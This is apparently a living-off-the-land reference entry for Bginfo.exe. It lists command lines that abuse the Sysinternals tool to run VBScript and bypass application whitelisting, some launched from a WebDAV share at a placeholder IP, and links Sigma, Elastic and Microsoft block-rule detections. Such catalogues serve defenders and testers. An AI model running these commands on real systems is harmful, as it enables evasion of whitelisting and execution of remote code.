.. /Bginfo.exe

Execute (WSH) | AWL bypass (WSH)

Background Information Utility included with SysInternals Suite

Paths:
no default

Resources:
- https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/

Acknowledgements:
- Oddvar Moe (@oddvarmoe)

Detections:
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Execute

. Execute VBscript code that is referenced within the bginfo.bgi file.

```
bginfo.exe bginfo.bgi /popup /nolicprompt
```

Use case:	Local execution of VBScript
Privileges required:	User
Operating systems:	Windows
ATT&CK® technique:	T1218
Tags:	Execute: WSH

. Execute bginfo.exe from a WebDAV server.

```
\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
```

Use case: Remote execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218
Tags: Execute: WSH

. This style of execution may not longer work due to patch.

```
\\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
```

Use case: Remote execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218
Tags: Execute: WSH

AWL bypass

. Execute VBscript code that is referenced within the bginfo.bgi file.

```
bginfo.exe bginfo.bgi /popup /nolicprompt
```

Use case: Local execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218
Tags: Execute: WSH

. Execute bginfo.exe from a WebDAV server.

```
\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
```

Use case: Remote execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218
Tags: Execute: WSH

. This style of execution may not longer work due to patch.

```
\\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
```

Use case: Remote execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218
Tags: Execute: WSH